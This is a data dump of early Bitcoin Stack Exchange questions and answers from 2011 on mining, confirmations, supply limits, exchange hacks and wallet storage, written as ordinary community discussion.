  <row Id="139" PostTypeId="2" ParentId="126" CreationDate="2011-08-30T23:31:13.630" Score="16" Body="&lt;p&gt;You can use services like &lt;a href=&quot;https://www.bitcoinpayflow.com/&quot;&gt;BitcoinPayFlow&lt;/a&gt; or &lt;a href=&quot;https://bit-pay.com/&quot;&gt;Bit-Pay&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm working on a payment module to integrate BitcoinPayFlow with OpenCart, watch the project &lt;a href=&quot;https://github.com/strigona/BitcoinPayFlow-OpenCart&quot;&gt;here&lt;/a&gt; - it should be ready within a couple weeks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: Bit-Pay just released an OpenCart payment module. See &lt;a href=&quot;http://www.opencart.com/index.php?route=extension/extension/info&amp;amp;extension_id=3119&amp;amp;filter_search=bitcoin&amp;amp;sort=e.date_modified&amp;amp;order=DESC&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="82" LastEditorUserId="82" LastEditDate="2011-09-01T14:53:24.497" LastActivityDate="2011-09-01T14:53:24.497" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="140" PostTypeId="2" ParentId="118" CreationDate="2011-08-30T23:32:21.523" Score="31" Body="&lt;p&gt;There is a list here that is kept relatively up to date with the possible hashrate of various CPUs and GPUs&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Mining_hardware_comparison&quot;&gt;https://en.bitcoin.it/wiki/Mining_hardware_comparison&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you know the number of hashes you can generate, you can use an online mining calculator and calculate the numbers of bitcoins you can mine per day (on average) and the current price of those bitcoins in other currencies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://tpbitcalc.appspot.com/&quot;&gt;http://tpbitcalc.appspot.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is worth pointing out that when most people talk about &quot;mining&quot; bitcoins these days, they are talking about pooled mining. Depending on the fees of your pool you can make anywhere from 2%-10% less than expected. If you mine by yourself, the bitcoin you are expected to make has a high degree of variance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Pooled_mining&quot;&gt;https://en.bitcoin.it/wiki/Pooled_mining&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="81" LastEditorUserId="5" LastEditDate="2011-10-09T23:10:20.877" LastActivityDate="2011-10-09T23:10:20.877" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="141" PostTypeId="2" ParentId="131" CreationDate="2011-08-30T23:32:30.787" Score="9" Body="&lt;p&gt;In the United States there is no existing legislation that explicitly makes bitcoins or bitcoin-like currencies illegal.  The closest legal challenge at the moment seems to be the anti money laundering laws which require you to &quot;know your customer&quot; by retaining personal identifying information on people you exchange monetary instruments with (in amounts greater than $1000, per day).&lt;/p&gt;&#xA;" OwnerUserId="4774" LastEditorUserId="117" LastEditDate="2011-09-01T14:01:14.580" LastActivityDate="2011-09-01T14:01:14.580" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="142" PostTypeId="2" ParentId="16" CreationDate="2011-08-30T23:32:36.803" Score="13" Body="&lt;p&gt;I wrote the &lt;a href=&quot;http://bitcointalk.org/?topic=7269.0&quot; rel=&quot;nofollow&quot;&gt;&quot;New to Bitcoin? Start here!&quot;&lt;/a&gt; post at bitcointalk.org.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OrigamiRobot, I highly recommend that you read that introduction before proceeding on to anything else, especially the original whitepaper, which is incredibly unapproachable for the average person.  After you finish it, come here and ask about the things that still confuse you--Bitcoin is very complicated, and it can take a while to wrap your head around it!&lt;/p&gt;&#xA;" OwnerUserId="44" LastEditorUserId="44" LastEditDate="2015-06-26T01:37:03.007" LastActivityDate="2015-06-26T01:37:03.007" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="143" PostTypeId="2" ParentId="127" CreationDate="2011-08-30T23:33:35.213" Score="13" Body="&lt;p&gt;A &lt;a href=&quot;https://en.bitcoin.it/wiki/Pooled_mining&quot;&gt;Mining Pool&lt;/a&gt; is a protocol for a group of miners to work together, in order to smooth out their mined coins. A miner working alone would generate a block (= 50 Bitcoin) whenever he is the first to find a correct hash. In practice, this happens quite rarely for a single miner.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When several miners are working together in a pool, their earnings are split among all miners (with the pool usually taking some commission). This guarantees an even spread of earnings over time instead of &quot;all or nothing&quot; in solo mining.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One disadvantage of a mining pool is its centralicity - most pools today have central nodes that can be &lt;a href=&quot;http://en.wikipedia.org/wiki/Denial-of-service_attack&quot;&gt;DDOSed&lt;/a&gt;, and if not configured accordingly when a DDOS happens the miner will just sit idly instead of reverting to a different pool or to solo mining.&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2011-08-30T23:33:35.213" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="144" PostTypeId="2" ParentId="136" CreationDate="2011-08-30T23:34:50.477" Score="13" Body="&lt;p&gt;Bitcoin Charts currently have charts of up to a year in length, as well as &quot;all data&quot; charts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example 360 days:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://bitcoincharts.com/charts/mtgoxUSD#rg360zvztgSzm1g10zm2g25&quot;&gt;http://bitcoincharts.com/charts/mtgoxUSD#rg360zvztgSzm1g10zm2g25&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="81" LastEditorUserId="41" LastEditDate="2011-09-02T21:27:04.833" LastActivityDate="2011-09-02T21:27:04.833" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="145" PostTypeId="2" ParentId="136" CreationDate="2011-08-30T23:36:00.813" Score="2" Body="&lt;p&gt;You can see further back in Bitcoin Charts&#xA;&lt;a href=&quot;http://bitcoincharts.com/charts/mtgoxUSD#vztgSzm1g10zm2g25&quot; rel=&quot;nofollow&quot;&gt;http://bitcoincharts.com/charts/mtgoxUSD#vztgSzm1g10zm2g25&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="54" LastActivityDate="2011-08-30T23:36:00.813" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="146" PostTypeId="1" AcceptedAnswerId="160" CreationDate="2011-08-30T23:39:17.773" Score="60" ViewCount="47494" Body="&lt;p&gt;When I receive bitcoins I see a certain number of &quot;confirmations&quot; in the client. What do these mean? Why do most sites make me wait for 6 &quot;confirmations&quot; before a purchase will go through?&lt;/p&gt;&#xA;" OwnerUserId="81" LastEditorUserId="25" LastEditDate="2011-09-15T15:48:30.383" LastActivityDate="2023-07-31T10:59:37.973" Title="What are bitcoin &quot;confirmations&quot;?" Tags="|transactions|client|confirmations|terminology|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="147" PostTypeId="2" ParentId="32" CreationDate="2011-08-30T23:40:39.770" Score="14" Body="&lt;p&gt;Adam Cohen later retracted his allegation of it being a scam, which is mentioned at the end of his answer:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Update 6/2: For those of you also on Hacker News, I made a couple of clarifying points, which included an apology for glibly using the word scam. Read more here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://news.ycombinator.com/item?id=2612237&quot;&gt;http://news.ycombinator.com/item?id=2612237&lt;/a&gt;&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Open source software can obviously not be a scam, since it has no agency, and due to its licensing, cannot be owned by any party with agency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The most that can be alleged is that someone created an open source program in order to conduct a scam, or that someone is using the software as part of a scam.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the case of Bitcoin's creator, the pseudonymous Satoshi Nakamoto, his purpose in creating Bitcoin was clearly to effect political and economic change -as evidenced by what he writes in his white paper and in the mailing list through which he communicated about it before and shortly after the release of the software- and not to personally profit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for the criticism of it being a ponzi scheme, it's not true by definition. A ponzi scheme is structured so that those who join the scheme later give money to those who joined earlier, and nothing else is traded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is only one possible outcome in a ponzi scheme, and that that the early adopters profit, and the later adopters have membership in a ponzi scheme that they paid into but that they cannot profit from.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For any asset like Bitcoin, or a company stock, the early adopters will profit in the event of appreciation, but there is something of underlying value that all adopters will have if it succeeds. In the case of Bitcoin, it is a currency that can be used in trade as a medium of exchange, allowing for a reduction in transaction costs and an increase in transaction speed and convenience, and providing a store of wealth that doesn't depreciate due to inflation.&lt;/p&gt;&#xA;" OwnerUserId="7" LastEditorUserId="7" LastEditDate="2011-08-31T02:52:42.477" LastActivityDate="2011-08-31T02:52:42.477" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="148" PostTypeId="1" AcceptedAnswerId="760" CreationDate="2011-08-30T23:40:52.877" Score="206" ViewCount="116475" Body="&lt;p&gt;I have heard that mining is for people with ready hardware and blah blah blah... But what exactly is it? Does it operate like real mining? I mean, people talk about it like you are &lt;em&gt;physically&lt;/em&gt; mining.&lt;/p&gt;&#xA;" OwnerUserId="88" LastEditorUserId="5406" LastEditDate="2016-01-20T21:07:26.887" LastActivityDate="2024-01-03T13:05:33.347" Title="What exactly is Mining?" Tags="|mining-reward|proof-of-work|mining-theory|" AnswerCount="10" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="149" PostTypeId="2" ParentId="103" CreationDate="2011-08-30T23:41:02.250" Score="18" Body="&lt;p&gt;An FPGA is cheap in quantity one ($100-$300) but expensive in quantity 1,000 ($50,000-$3,000,000). They can mine decently (200MHash/s or so), but are not cost effective yet. (They do, however, consume much less power than GPUs.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An ASIC is expensive in quantity one ($2,000,000) but cheap in quantity 100,000 ($5,000,000). They can mine unbelievably well (perhaps 1GHash/s), but nobody (as far as we know) has gone to the expense of making one for bitcoin mining yet.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2011-08-30T23:41:02.250" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="150" PostTypeId="1" CreationDate="2011-08-30T23:41:26.353" Score="3" ViewCount="333" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Possible Duplicate:&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/18/how-can-one-embed-custom-data-in-block-headers&quot;&gt;How can one embed custom data in block headers?&lt;/a&gt;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;Someone told me a hacker put messages in the blockchain. What does this mean? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: related asked/answered question&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/18/custom-data-in-block-headers&quot;&gt;How can one embed custom data in block headers?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="81" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2011-09-09T08:16:01.423" Title="Are there really messages in the blockchain?" Tags="|blockchain|" AnswerCount="0" CommentCount="1" FavoriteCount="0" ClosedDate="2011-09-14T18:27:06.477" ContentLicense="CC BY-SA 3.0" />
  <row Id="151" PostTypeId="1" AcceptedAnswerId="159" CreationDate="2011-08-30T23:43:26.133" Score="10" ViewCount="1018" Body="&lt;p&gt;Once MyBitcoin was thought to be a &quot;solid bitcoin bank&quot;. Then it was hacked and a lot of people lost a lot of money there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there another, secure alternative for storing Bitcoins except storing them on your own computer?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Obviously correctly storing Bitcoin on your computer, with proper encryption and backup, will always be more secure because you don't have to trust anyone. Still, for a lot of people, an online Bitcoin bank is a must.)&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2012-10-05T06:58:30.730" Title="Is there a solid &quot;Bitcoin Bank&quot; yet?" Tags="|banks|websites|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="152" PostTypeId="2" ParentId="66" CreationDate="2011-08-30T23:45:05.380" Score="11" Body="&lt;p&gt;No, for two reasons:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, Bitcoins are very divisible. So it wouldn't create the kinds of problems having a penny be enough to buy a car would create. (How would you buy a candy bar?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second, while deflation would provide an incentive for people to hoard a currency rather than spend it, it provides an equal incentive for people to try to pry that currency out of other people's hands by any means. If I'd rather hold my Bitcoins than spend them (so that you'd have to offer me more for them), you'd rather have my Bitcoins than something else (so you'd be willing to offer me more for them). It simply cancels out.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;In order for a currency to be used to pay wages, and therefore widely used in general, the prices for goods that people buy would be fairly stable. Otherwise, people will reject the currency. Perhaps more importantly, employers will not agree to pay workers in a currency that is appreciating in value, as this would require them to lower wages constantly, something workers will not accept.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If we lived in a world with stable currencies rather than inflating currencies, you could make this very same argument to show that people would never agree to be paid in dollars, because that requires them to get constant wage hikes, something employers will not accept. But they do. So this is pure speculation that is against the evidence. Employees accept inflating currencies, there's no reason to think employers won't accept deflating ones.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Falling prices will cause people to delay purchases, and is symptomatic of lower demand in general. This causes a depression. The example of computers given by many respondents is wrong. This is a case where new, higher quality models are replacing older models at the same price-point. It would be correct if the overall amount of money spent on computers (new and old) declined, but this is not the case.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Again, if we had a stable currency, this same argument would be used to show people will never accept the dollar. Why would anyone sell me anything today if they can sell it for more tomorrow? Don't rising prices cause people to delay sales?&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2013-10-07T18:12:59.860" LastActivityDate="2013-10-07T18:12:59.860" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="153" PostTypeId="2" ParentId="18" CreationDate="2011-08-30T23:46:17.250" Score="-2" Body="&lt;p&gt;The hacker was &lt;a href=&quot;http://en.wikipedia.org/wiki/Dan_Kaminsky&quot; rel=&quot;nofollow&quot;&gt;Dan Kaminsky&lt;/a&gt;, and he embedded &lt;a href=&quot;http://pastebin.com/raw.php?i=BUB3dygQ&quot; rel=&quot;nofollow&quot;&gt;this image&lt;/a&gt; in the blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is right now just a technological curiosity, it has no known implication on the legal or technical aspects of Bitcoin. I haven't read his paper, but he must have used a modified miner that searches for hashes that begin with a preset prefix.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's clarify: Mining is the process of finding solutions (or hashes) to a cryptography equation. The first to find a solution gets to have his solution added to the blockchain - the permanent transaction record. What Kaminsky did was look for a particular kind of hash instead of just any random hash, that contains the embedded test. Once this was found (just a matter of running a miner for a long enough period), this specific solution, with the embedded text, was added to the blockchain.&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="78" LastEditDate="2011-08-30T23:54:35.287" LastActivityDate="2011-08-30T23:54:35.287" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="154" PostTypeId="2" ParentId="148" CreationDate="2011-08-30T23:47:24.283" Score="58" Body="&lt;p&gt;Mining is the process of securing transactions and committing them into the bitcoin public chain. It requires winning a kind of computational lottery where each hash you perform is like buying one ticket. The Bitcoin protocol currently permits the miner who generates a block to claim 50 bitcoins as well as any transaction fees for the transactions that miner chooses to include. The number of bitcoins that can be claimed decreases by half every 210,000 blocks in what is known as &amp;quot;halving&amp;quot;.&lt;/p&gt;&#xA;&lt;p&gt;The Bitcoin system uses the mining process to generate coins, secure transactions, and publish transactions.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="121614" LastEditDate="2024-01-03T11:56:50.850" LastActivityDate="2024-01-03T11:56:50.850" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="155" PostTypeId="2" ParentId="148" CreationDate="2011-08-30T23:48:07.857" Score="16" Body="&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/How_bitcoin_works#Bitcoin_mining&quot;&gt;Mining&lt;/a&gt; is just doing computational work to secure the transaction block chain. A side effect of mining is creation of new coins and earning additional money by signing on transactions.&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2011-08-30T23:48:07.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="156" PostTypeId="2" ParentId="146" CreationDate="2011-08-30T23:50:49.803" Score="30" Body="&lt;p&gt;If you don't grasp the basic concept, imagine for a second that a network outage split the bitcoin network in half. I could send one transaction giving 30 bitcoins to Abel to one half and one transaction giving those same 30 bitcoins to Fred to the other. Each half would accept that transaction and until the two halves reconnected, you wouldn't know which transaction would be honored tomorrow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Confirmations are simply blocks that have been generated after the block that contains your transaction. Because there is no central authority that can be consulted to be sure a transaction will be committed, recipients use the number of confirmations as a way of protecting against double-spend attacks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The network is always trying to extend the longest chain, and eventually, some chain will win. The deeper the transaction is in the chain, the higher the chance it will win because the network tries very hard not to duplicate efforts. (Because miners want their coinbase transactions to win, they all try very hard to extend the chain most likely to win, which makes sure it does in fact win.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Effectively, the more confirmations, the higher the likelihood that a transaction will remain forever in the public hash chain rather than a conflicting transaction if there was one. At 6 confirmations, it is perhaps one in a billion that a transaction won't be permanent -- and that's if the sender is attempting a double spend attack.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2011-08-31T00:08:03.517" LastActivityDate="2011-08-31T00:08:03.517" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="157" PostTypeId="1" CreationDate="2011-08-30T23:50:52.640" Score="3" ViewCount="148" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Possible Duplicate:&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/305/what-are-the-perceived-advantages-of-bitcoin-as-a-means-of-exchange&quot;&gt;What are the perceived advantages of bitcoin as a means of exchange?&lt;/a&gt;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;Suppose that the value of Bitcoin in USD magically remained constant from this day forward. What &lt;strong&gt;unique&lt;/strong&gt; advantages does Bitcoin has other its alternatives (e.g. USD, Paypal)&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2014-10-03T11:30:17.177" Title="What are the perceived advantages that bitcoin has over other currencies or other ways of sending money?" Tags="|key-selling-points|" AnswerCount="0" CommentCount="0" FavoriteCount="0" ClosedDate="2011-09-21T00:39:59.897" ContentLicense="CC BY-SA 3.0" />
  <row Id="158" PostTypeId="2" ParentId="128" CreationDate="2011-08-30T23:51:09.433" Score="12" Body="&lt;p&gt;The switch to merged mining is &lt;a href=&quot;http://dot-bit.org/forum/viewtopic.php?f=5&amp;amp;t=217&quot;&gt;scheduled for Namecoin block 19200&lt;/a&gt;.  At the time of this writing, the Namecoin network is on block 18805, so 395 more blocks need to be solved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The last 29 blocks on the &lt;a href=&quot;http://explorer.dot-bit.org/&quot;&gt;Namecoin block explorer&lt;/a&gt; were solved in an average of 108.79 minutes each.  Extrapolating from this, 395 blocks should be solved in just under 30 days, so sometime around September 29th.&lt;/p&gt;&#xA;" OwnerUserId="50" LastActivityDate="2011-08-30T23:51:09.433" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="159" PostTypeId="2" ParentId="151" CreationDate="2011-08-30T23:52:50.960" Score="8" Body="&lt;p&gt;Currently, the most secure place to store bitcoins online appears to be the exchanges. There is some evidence that Mt. Gox is also hoping to become the default bitcoin bank as they are developing mobile payment applications for instant payment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://mtgoxlive.com/mobile/&quot;&gt;http://mtgoxlive.com/mobile/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They have also reimbursed the losses of another bitcoin exchange.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.mtgox.com/press_release_20110811.html&quot;&gt;https://www.mtgox.com/press_release_20110811.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is worth pointing out that while Mt Gox was hacked, no one lost any bitcoins that were not reimbursed.&lt;/p&gt;&#xA;" OwnerUserId="81" LastActivityDate="2011-08-30T23:52:50.960" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="160" PostTypeId="2" ParentId="146" CreationDate="2011-08-30T23:55:44.883" Score="40" Body="&lt;p&gt;Bitcoin confirmations represent the number of blocks in the block chain that have been accepted by the network since the block that includes the transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In simpler terms it represents the difficulty of a double spend attack. With zero confirmations no proof of work has been done, so you can't tell if anyone considers the transaction valid.  Even with a single transaction it is possible for an attacker to &lt;em&gt;pre compute&lt;/em&gt; a single block. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;With zero or even one confirmation a double spend is very possible since the next block that is solved may confirm a different block instead of the one that has the transaction.  That different block my show the coins being spent elsewhere.  The odds that a double spend has occurred gets exponentially smaller with each confirmation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An attacker must match the power of the entire bitcoin network to keep up with block creation so as time goes by it becomes increasingly difficult to forge a transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is generally accepted for most transactions that 6 confirmations represent enough security to assure the transition is valid.&lt;/p&gt;&#xA;" OwnerUserId="4774" LastEditorUserId="4774" LastEditDate="2015-05-24T22:45:48.520" LastActivityDate="2015-05-24T22:45:48.520" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="161" PostTypeId="1" AcceptedAnswerId="162" CreationDate="2011-08-30T23:57:20.447" Score="68" ViewCount="162125" Body="&lt;p&gt;Since bitcoins are being regularly rewarded to &lt;a href=&quot;https://en.bitcoin.it/wiki/Category%3aMining&quot;&gt;miners&lt;/a&gt;, will the number of bitcoins continue to grow indefinitely, or will there be a maximum total number of bitcoins in existence?  And if there is some kind of limit, what is it and how is it enforced?&lt;/p&gt;&#xA;" OwnerUserId="44" LastEditorUserId="5406" LastEditDate="2014-10-22T11:13:33.870" LastActivityDate="2019-02-09T15:41:11.627" Title="How many bitcoins will there eventually be?" Tags="|reward-schedule|" AnswerCount="7" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="162" PostTypeId="2" ParentId="161" CreationDate="2011-08-30T23:57:34.970" Score="41" Body="&lt;p&gt;A pre-defined schedule limits the total number of bitcoins so that they gradually approach a total of 21 million (ignoring those that have been lost through deleted or misplaced wallet files).  &lt;strong&gt;The limit of 21 million bitcoins is &quot;hard-wired&quot; in to the protocol&lt;/strong&gt;, and there will never be more bitcoins than this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JLm1p.png&quot; alt=&quot;The Schedule on which Bitcoins are released into the economy through being rewarded to miners&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="44" LastActivityDate="2011-08-30T23:57:34.970" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="163" PostTypeId="1" AcceptedAnswerId="167" CreationDate="2011-08-30T23:59:03.627" Score="13" ViewCount="1480" Body="&lt;p&gt;Mt. Gox was hacked in June 2011, and some funds were stolen. There was a long winded account reclaim process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the end of this process, were all funds really returned to the satisfaction of all (legitimate) users? Is there a public statement / forum post that testifies to this?&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2011-10-22T20:42:04.637" Title="Were all funds stolen from Mt. Gox finally returned to all users?" Tags="|mtgox|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="164" PostTypeId="1" AcceptedAnswerId="166" CreationDate="2011-08-30T23:59:28.087" Score="9" ViewCount="700" Body="&lt;p&gt;This is a follow up question to &quot;&lt;a href=&quot;https://bitcoin.stackexchange.com/q/28/91&quot;&gt;How can I keep my wallet secure?&lt;/a&gt;&quot; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a portable (at least Win32&amp;amp;64/Linux) to configure the official bitcoin client to use only offline wallets to be inserted in the usb slot for each transaction?&lt;/p&gt;&#xA;" OwnerUserId="91" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2020-04-24T14:04:28.590" Title="How to configure the official bitcoin client to conveniently use offline wallets?" Tags="|wallet|backup|client|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="166" PostTypeId="2" ParentId="164" CreationDate="2011-08-31T00:05:56.160" Score="4" Body="&lt;p&gt;You can use symbolic links to your bitcoin data folder or wallet.dat to the usb device location.  You will still have to run bitcoin -rescan when you start the bitcoin client, and you will have to remove the link if you want to run bitcoin without the usb devices.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note, however that you do not need to have an offline wallet online at anytime ever unless you are spending the money out of it.  If you are only sending money to it then it can remain offline.&lt;/p&gt;&#xA;" OwnerUserId="4774" LastActivityDate="2011-08-31T00:05:56.160" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="167" PostTypeId="2" ParentId="163" CreationDate="2011-08-31T00:06:41.367" Score="18" Body="&lt;p&gt;All the funds that were frozen have been returned. There are two types of funds that were not returned:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Some people claim funds of theirs were transferred out well before the freeze. They claim it must have been by the same person who got the account/password list, but before the big attack. They claim these funds have not been returned.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;People who profited unfairly during the flash crash had their transactions undone. Some of them claim they are entitled to their profits. (Some people bought thousands of bitcoins at absurdly low rates.)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I think that people in the second category don't deserve to profit from the theft. As for the people in the first category, there are only two people that I know of who claim this and the amounts involved are quite small. So I think the true answer to your question is most probably &quot;yes&quot;.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2011-10-22T20:42:04.637" LastActivityDate="2011-10-22T20:42:04.637" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="168" PostTypeId="1" AcceptedAnswerId="170" CreationDate="2011-08-31T00:06:44.367" Score="20" ViewCount="5240" Body="&lt;p&gt;What is the blockchain? I keep hearing about other &quot;blockchain technologies&quot;, does this mean other cryptocurrencies or what?&lt;/p&gt;&#xA;" OwnerUserId="81" LastActivityDate="2023-10-26T22:01:58.503" Title="What is the &quot;blockchain&quot;?" Tags="|blockchain|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="169" PostTypeId="1" AcceptedAnswerId="1484" CreationDate="2011-08-31T00:07:17.340" Score="11" ViewCount="795" Body="&lt;p&gt;I have read that &quot;while Bitcoin is a currency, Namecoin is not&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Isn't the capabilities offered by &lt;a href=&quot;http://dot-bit.org/Main_Page&quot;&gt;Namecoin&lt;/a&gt; a superset of Bitcoin's capabilities? If everyone in the world agreed to jointly migrate all Bitcoin to Namecoin at some instant, would we lose anything from this migration?&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="196" LastEditDate="2013-03-03T14:04:59.980" LastActivityDate="2013-03-03T15:32:32.987" Title="Are the capabilities of Namecoin a strict superset of Bitcoin?" Tags="|namecoin|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="170" PostTypeId="2" ParentId="168" CreationDate="2011-08-31T00:09:10.740" Score="11" Body="&lt;p&gt;The bitcoin &lt;a href=&quot;http://en.wikipedia.org/wiki/Bitcoin#Block-chain_and_confirmations&quot; rel=&quot;nofollow&quot;&gt;block chain&lt;/a&gt; is the record of every bitcoin ever generated and every transfer of bitcoins from one party to another. Each crypto-currency that is based on the same type of technology as bitcoins has its own block chain. When people talk about other blockchains, they mean other currencies based on the same distributed currency / published transaction model (namecoin, Ixcoin, and so on).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The phrase &quot;blockchain technology&quot; is a reference to this model of published transactions to implement currencies with no central authority.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="2306" LastEditDate="2016-10-05T01:46:29.227" LastActivityDate="2016-10-05T01:46:29.227" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
